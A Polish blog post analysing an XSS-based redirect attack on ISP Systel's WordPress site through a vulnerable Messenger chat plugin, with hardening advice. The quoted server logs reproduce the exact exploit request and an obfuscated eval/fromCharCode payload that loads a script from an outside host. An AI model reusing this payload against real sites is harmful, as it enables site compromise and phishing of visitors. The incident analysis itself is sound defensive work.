Atak na witrynę firmy Systel

Upload pliku na serwer za pomocą JS inject poprzez podatność XSS w popularnej wtyczce do WordPressa? To możliwe, o czym przekonał się największy katowicki dostawca usług internetowych — Systel.

Strona tej firmy jest oparta na najpopularniejszym systemie CMS, czyli WordPress. Zaletą tego rozwiązania jest bardzo łatwe zarządzanie (zwłaszcza blogami) oraz prostota modyfikacji, głównie za pomocą wielu rozszerzeń. Często jest tak, że wraz z popularnością rośnie zainteresowanie podatnościami. O ile jakaś luka w samym WordPressie nie zawsze jest (ale należy podkreślić, że i tak powinna zostać natychmiast załatana) łatwa w eksploatacji, to już jej obecność w danej wtyczce może być poważnym problemem. Jeśli ta wtyczka nie jest aktualizowana (nawet pomimo jej wyłączenia z poziomu Kokpitu), może zostać wykorzystana do ataku.

Systel korzystał z wtyczki Live Chat with Facebook Messenger (ponad 30 tys. aktywnych instalacji). Tak się składa, że w maju odkryto w niej podatność XSS typu persistent. Sam XSS to znany wektor ataku (warto zobaczyć również prezentację Michała Bentkowskiego), a w przypadku WordPressa ze stroną można zrobić zasadniczo wszystko po wykryciu tej podatności. Istnieje również możliwość “dostania się” na serwer z uprawnieniami użytkownika www-data (w Linuxie ma on prawa do /var/www, czyli dostęp do plików strony w serwerze Apache itp.).

IP atakującego wskazuje na Azję, co niekoniecznie określa lokalizację przestępcy. Jak wiadomo, mógł skorzystać z VPN, proxy lub nawet Tora. Ciekawszy jest jednak opis jego działań. Przedstawiciel firmy Systel, z którym rozmawiałem za pośrednictwem ich strony na Facebooku (to często najszybszy sposób na kontakt), tłumaczy, że atak był zautomatyzowany. Atakujący dzięki podatności XSS we wspomnianej wtyczce dodał (za pomocą przesłania na serwer pliku widget.js) przekierowanie do strony

hxxp://app0056.wtflife50.agency/2880540754/?t=main9_e2043b063c0c6e3c16&u=d29pte4&o=vxzkpbg&f=1 (według VirusTotal żaden antywirus nie uważa tej strony za podejrzaną),

gdzie do “wygrania” był iPhone X. Domena już nie istnieje, ale jestem przekonany, że niejedna osoba uwierzyła w wygraną nowego modelu od Apple. Czasami jest tak, że komunikat dostosowuje się do telefonu lub komputera, z którego nastąpiło odwiedzenie phishingowej strony (zwykle komunikat o zawirusowaniu, polecający wykonanie skanu po pobraniu “antywirusa”).

Tak więc po wejściu na stronę systel.pl ofiara była przenoszona na wyłudzającą dane witrynę. Nie wiemy jak wyglądała, w Archive.org też nie ma jej migawki.

Na marginesie, Systel nieźle zwiększył uprawnienia do katalogów wp-content (tutaj WordPress przechowuje wszelkie zdjęcia, filmy, pliki od użytkownika) i wp-includes (pliki konieczne do działania strony).

Katalog wp-includes na moim serwerze VPS.

Jak widać, uprawnienia są zapisane jako r–r–r–, czyli tylko do odczytu dla wszystkich użytkowników (w tym przypadku systemu Ubuntu Server). A jak było u katowickiego ISP? Według przedstawiciela Systel:

“uprawnienia to chyba mój błąd – podniosłem na chwilę, żeby usunąć wtyczkę z poziomu wp-admin (normalnie mamy uprawnienia, które nie dają możliwości instalacji oraz upgrade’u wtyczek z poziomu wp-admin tyle, że podnosząc do 777 użyłem -Rf w złym miejscu a potem obniżając do 755 już w dobrym”

Prosta zasada: Nie udzielamy uprawnień, które nie są konieczne. 777 to zdecydowana przesada…

Mamy więc dodanie przekierowania dzięki zwykłej podatności XSS. Można powiedzieć, że to nie wiele. I rzeczywiście, atak nie był spektakularny według myślenia zwykłego użytkownika (nawet dla Systel, który uznał go za “drobnostkę”). Natomiast dla osób związanych z bezpieczeństwem jest to przykład, jak łatwo można z WordPressa “przejść” na serwer.

Musimy regularnie aktualizować wtyczki, motywy i samego WordPressa. Inne ważne porady zostały opisane w poradniku Sekuraka.

Tak powinien wyglądać każdy Kokpit.

Nieużywane wtyczki należy usuwać (warto również te preinstalowane, typu Hello Dolly). Hasła do panelu WP, serwera FTP, SSH, bazy danych powinny być skomplikowane. wp-login.php można zabezpieczyć dodatkową autoryzacją przez wejściem i U2F.

Dodatkowa autoryzacja przed logowaniem.

Inne rekomendacje zostały przedstawione we wspomnianym poradniku. Firma Systel zgodziła się na opisanie wszystkich szczegółów infekcji (również z podaniem swojej nazwy), gdyż:

“(…) niech to będzie przestroga, że nie wystarczy wyłączyć nieużywane wtyczki, trzeba je usuwać… albo upgrade’ować”.

Osobiście znalazłem jeden ze skutków zbyt luźnego podejścia do kwestii dostępu w Systel. Serwer listował zawartość katalogów, co nie powinno mieć miejsca (w tym przypadku związane z ustawieniami serwera Apache). Firma błyskawicznie zareagowała.

Otrzymałem również obszerną analizę od Adama Wołk-Jankowskiego z Systel. Oto jej najważniejsze i przydatne dla Czytelników fragmenty (kursywą zaznaczyłem moje komentarze):

—

Podatność:

https://www.getastra.com/blog/911/plugin-exploit/xss-vulnerability-in-fb-messenger-live-chat/

Przebieg ataku (logi serwera)

80.244.174.128 – – [22/May/2019:03:45:39 +0200] „GET /wp-admin/admin-ajax.php?action=update_zb_fbc_code HTTP/1.1” 200 666 „http://wwww.1000lecie.pl/wp-admin/admin-ajax.php?action=update_zb_fbc_code”  (por.: https://gwhois.org/1000lecie.pl+dns)„Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36”

80.244.174.128 – – [22/May/2019:03:45:40 +0200] „GET /wp-admin/admin-ajax.php?action=update_zb_fbc_code&domain=%3c/script%3e%3cscript HTTP/1.1” 200 682 „http://wwww.1000lecie.pl/wp-admin/admin-ajax.php?action=update_zb_fbc_code&domain=</script><script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 61, 100, 111, 99, 117, 109, 101, 110, 116, 59, 118, 97, 114, 32, 115, 61, 100, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 10, 115, 46, 116, 121, 112, 101, 61, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 10, 115, 46, 97, 115, 121, 110, 99, 61, 116, 114, 117, 101, 59, 10, 118, 97, 114, 32, 112, 108, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 49, 49, 53, 44, 32, 52, 54, 44, 32, 49, 48, 51, 44, 32, 57, 55, 44, 32, 49, 49, 52, 44, 32, 49, 49, 52, 44, 32, 49, 50, 49, 44, 32, 49, 48, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 48, 44, 32, 49, 48, 53, 44, 32, 49, 49, 48, 44, 32, 49, 48, 53, 44, 32, 52, 54, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 41, 59, 10, 115, 46, 115, 114, 99, 61, 112, 108, 43, 39, 47, 102, 108, 97, 115, 107, 46, 106, 115, 63, 116, 61, 116, 38, 39, 59, 32, 10, 105, 102, 32, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 117, 114, 114, 101, 110, 116, 83, 99, 114, 105, 112, 116, 41, 32, 123, 32, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 117, 114, 114, 101, 110, 116, 83, 99, 114, 105, 112, 116, 46, 112, 97, 114, 101, 110, 116, 78, 111, 100, 101, 46, 105, 110, 115, 101, 114, 116, 66, 101, 102, 111, 114, 101, 40, 115, 44, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 117, 114, 114, 101, 110, 116, 83, 99, 114, 105, 112, 116, 41, 59, 10, 125, 32, 101, 108, 115, 101, 32, 123, 10, 100, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 41, 59, 10, 125));</script>” „Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0”

Efektem ataku było pojawienie się na sekundę dodatkowego kodu na naszej stronie:

/widgets.js”;var sz=d.getElementByTagName(s)

[0];sz.parentNode.insertBefore(z,sz)}(document,”script”,”Zaraz będę!-embed-code”));

Po czym następowało przekierowanie na stronę z informacją o wygranej (link w treści artykułu).

Po godzinie 8 rano został usunięty plugin fb-messenger-live-chat i sytuacja wróciła do normy.

Adres IP z którego nastąpił skuteczny atak to 80.244.174.128

Czyli według RIPE Izrael:

https://apps.db.ripe.net/db-web-ui/#/lookup?source=ripe&key=80.244.174.0%20-%2080.244.175.255&type=inetnum

Ale próby podobnej akcji były również z adresów IP z Francji (OVH) oraz Azji (nie sprawdzałem czyje bo to poza RIPE).

—

Nie odnotowano zagrożenia dla danych użytkowników, poza tym są one przechowywane na oddzielnym serwerze. Dowiedziałem się, że dane abonentów były zapisane na serwerze ze stroną, ale zostały z niego usunięte i przeniesione na inną maszynę w sierpniu 2018 roku. Nie doszło więc do żadnego zagrożenia ewentualnym wyciekiem.

–mg